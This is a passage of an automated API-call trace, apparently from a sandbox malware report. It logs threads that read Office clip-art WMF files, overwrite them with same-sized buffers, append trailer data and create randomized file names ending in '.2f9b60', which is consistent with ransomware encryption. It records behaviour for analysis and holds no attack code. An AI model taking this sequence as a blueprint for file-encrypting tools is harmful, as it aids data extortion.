sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.767] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="e4") returned 2 [0163.768] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="db") returned 2 [0163.768] RtlInitAnsiString (in: DestinationString=0x263af788, SourceString="ec34f96bed2a364f7fe78ed8efa1dfe7f2259a749e1ee4db" | out: DestinationString="ec34f96bed2a364f7fe78ed8efa1dfe7f2259a749e1ee4db") [0163.768] RtlAnsiStringToUnicodeString (in: DestinationString=0x263af758, SourceString="ec34f96bed2a364f7fe78ed8efa1dfe7f2259a749e1ee4db", AllocateDestinationString=1 | out: DestinationString="ec34f96bed2a364f7fe78ed8efa1dfe7f2259a749e1ee4db") returned 0x0 [0163.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b857f70 [0163.768] RtlFreeAnsiString (AnsiString="e") [0163.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37c0) returned 1 [0163.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ac9b0) returned 1 [0163.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f30) returned 1 [0163.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f60) returned 1 [0163.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f00) returned 1 [0163.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ed0) returned 1 [0163.770] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0163.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0163.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3850) returned 1 [0163.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d4c0 [0163.771] wcscat (in: _Dest=0x4230d4c0, _Source="ec34f96bed2a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a" [0163.771] wcscat (in: _Dest=0x4230d4c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a.2f9b60" [0163.771] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a.2f9b60", NtPathName=0x263af730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec34f96bed2a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279eb0 Thread: id = 2346 os_tid = 0x1d0c [0149.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x20 [0149.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF", dwFileAttributes=0x20) returned 1 [0149.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2184 [0149.813] GetFileSizeEx (in: hFile=0x2184, lpFileSize=0x255ffc00 | out: lpFileSize=0x255ffc00*=2080) returned 1 [0149.813] SetFilePointerEx (in: hFile=0x2184, liDistanceToMove=0x81c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.813] ReadFile (in: hFile=0x2184, lpBuffer=0x255ffb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x255ffbc8, lpOverlapped=0x0 | out: lpBuffer=0x255ffb80*, lpNumberOfBytesRead=0x255ffbc8*=0x4, lpOverlapped=0x0) returned 1 [0149.815] SetFilePointerEx (in: hFile=0x2184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f37f0 [0149.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0149.815] NtQuerySystemTime (in: CurrentTime=0x255ffac0 | out: CurrentTime=0x255ffac0*=132462177550246000) returned 0x0 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x6448dd0d [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x48794ec0 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x344c1a21 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x7475a525 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0xbdd7f06 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x5857eea6 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x3daefa19 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x75e551c6 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4c358370 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x5dd9339c [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x1d1911d [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0xb7fd462 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x753ac41e [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x13cb93ad [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x67e57069 [0149.815] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x45ce2389 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x38451eae [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x517e3498 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x712390a1 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x7ac8bddd [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4d1f5b56 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x70f8b7e1 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x71801c28 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x195cc218 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4ffe7c0 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x1027da07 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4dbc3305 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4ae293e5 [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0xb2eec6e [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x7d47a1fa [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x4d61fecd [0149.816] RtlRandomEx (in: Seed=0x255ffab0 | out: Seed=0x255ffab0) returned 0x55b6227e [0149.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38b0 [0149.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a5b0 [0149.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0149.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a5b0) returned 1 [0149.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3880) returned 1 [0149.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0149.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a5b0 [0149.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd6d8f0 [0149.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd71500 [0149.825] ReadFile (in: hFile=0x2184, lpBuffer=0x1cd6d8f0, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x255ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1cd6d8f0*, lpNumberOfBytesRead=0x255ffab0*=0x820, lpOverlapped=0x0) returned 1 [0149.825] SetFilePointerEx (in: hFile=0x2184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.825] WriteFile (in: hFile=0x2184, lpBuffer=0x1cd71500*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x255ffab4, lpOverlapped=0x0 | out: lpBuffer=0x1cd71500*, lpNumberOfBytesWritten=0x255ffab4*=0x820, lpOverlapped=0x0) returned 1 [0161.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ff0 [0161.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6020 [0161.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6020) returned 1 [0161.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd71500) returned 1 [0161.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd6d8f0) returned 1 [0161.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a5b0) returned 1 [0161.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0161.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6020 [0161.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0161.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a5b0 [0161.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6050 [0161.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6050) returned 1 [0161.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6050 [0161.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6080 [0161.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a60b0 [0161.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a60b0) returned 1 [0161.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a5b0) returned 1 [0161.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0161.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423acad0 [0161.872] SetFilePointerEx (in: hFile=0x2184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.872] WriteFile (in: hFile=0x2184, lpBuffer=0x423acad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x255ffbd0, lpOverlapped=0x0 | out: lpBuffer=0x423acad0*, lpNumberOfBytesWritten=0x255ffbd0*=0x10a, lpOverlapped=0x0) returned 1 [0163.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0163.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0163.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x174b90 [0163.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0163.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0163.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ef0) returned 1 [0163.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.783] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="54") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="16") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="44") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="59") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="16") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="88") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="51") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="25") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="69") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="52") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="03") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="29") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="e0") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="1f") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="a7") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="e0") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="49") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="44") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="08") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="44") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="d9") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="9d") returned 2 [0163.783] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="a9") returned 2 [0163.783] RtlInitAnsiString (in: DestinationString=0x255ffc48, SourceString="5416dc44591688512569520329e01fa7e049440844d99da9" | out: DestinationString="5416dc44591688512569520329e01fa7e049440844d99da9") [0163.783] RtlAnsiStringToUnicodeString (in: DestinationString=0x255ffc18, SourceString="5416dc44591688512569520329e01fa7e049440844d99da9", AllocateDestinationString=1 | out: DestinationString="5416dc44591688512569520329e01fa7e049440844d99da9") returned 0x0 [0163.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b858050 [0163.784] RtlFreeAnsiString (AnsiString="5") [0163.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0163.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0163.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acad0) returned 1 [0163.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6050) returned 1 [0163.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6080) returned 1 [0163.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6020) returned 1 [0163.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ff0) returned 1 [0163.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f37f0) returned 1 [0163.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38b0) returned 1 [0163.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38e0) returned 1 [0163.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d560 [0163.786] wcscat (in: _Dest=0x4230d560, _Source="5416dc445916" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916" [0163.787] wcscat (in: _Dest=0x4230d560, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916.2f9b60" [0163.787] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916.2f9b60", NtPathName=0x255ffbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5416dc445916.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279d30 Thread: id = 2347 os_tid = 0x1d10 [0149.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf")) returned 0x20 [0149.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF", dwFileAttributes=0x20) returned 1 [0149.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2188 [0149.829] GetFileSizeEx (in: hFile=0x2188, lpFileSize=0x23dbfc60 | out: lpFileSize=0x23dbfc60*=2004) returned 1 [0149.829] SetFilePointerEx (in: hFile=0x2188, liDistanceToMove=0x7d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.829] ReadFile (in: hFile=0x2188, lpBuffer=0x23dbfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23dbfc28, lpOverlapped=0x0 | out: lpBuffer=0x23dbfbe0*, lpNumberOfBytesRead=0x23dbfc28*=0x4, lpOverlapped=0x0) returned 1 [0149.831] SetFilePointerEx (in: hFile=0x2188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3880 [0149.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3910 [0149.832] NtQuerySystemTime (in: CurrentTime=0x23dbfb20 | out: CurrentTime=0x23dbfb20*=132462177550402000) returned 0x0 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x23ba952a [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x12b4ae0e [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x4d3bacb4 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x41de3597 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x88945ad [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x1a52dac2 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x30f69c1e [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x5e603b1c [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x67787639 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x5848bee1 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x1c2aac00 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x32c64073 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x7bc42359 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x636e1d3d [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x71cad45a [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x26a03286 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x50859e2e [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x647d6e96 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x1bf63932 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x922e36d [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x4b93732a [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x73a643e1 [0149.832] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x63a0678a [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x316931ad [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x853330b [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x5d3bd7be [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x49b4d391 [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x14c36f20 [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x1bcb6705 [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x5c4cae31 [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x5d32ab43 [0149.833] RtlRandomEx (in: Seed=0x23dbfb10 | out: Seed=0x23dbfb10) returned 0x6b35fca9 [0149.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3940 [0149.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a630 [0149.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3970 [0149.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a630) returned 1 [0149.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3910) returned 1 [0149.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0149.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a630 [0149.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd75110 [0149.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd78d20 [0149.842] ReadFile (in: hFile=0x2188, lpBuffer=0x1cd75110, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x23dbfb10, lpOverlapped=0x0 | out: lpBuffer=0x1cd75110*, lpNumberOfBytesRead=0x23dbfb10*=0x7d4, lpOverlapped=0x0) returned 1 [0149.842] SetFilePointerEx (in: hFile=0x2188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.842] WriteFile (in: hFile=0x2188, lpBuffer=0x1cd78d20*, nNumberOfBytesToWrite=0x7d4, lpNumberOfBytesWritten=0x23dbfb14, lpOverlapped=0x0 | out: lpBuffer=0x1cd78d20*, lpNumberOfBytesWritten=0x23dbfb14*=0x7d4, lpOverlapped=0x0) returned 1 [0161.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6110 [0161.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6140 [0161.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6140) returned 1 [0161.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd78d20) returned 1 [0161.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd75110) returned 1 [0161.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a630) returned 1 [0161.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0161.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6140 [0161.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0161.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a630 [0161.882] RtlAllocateHeap 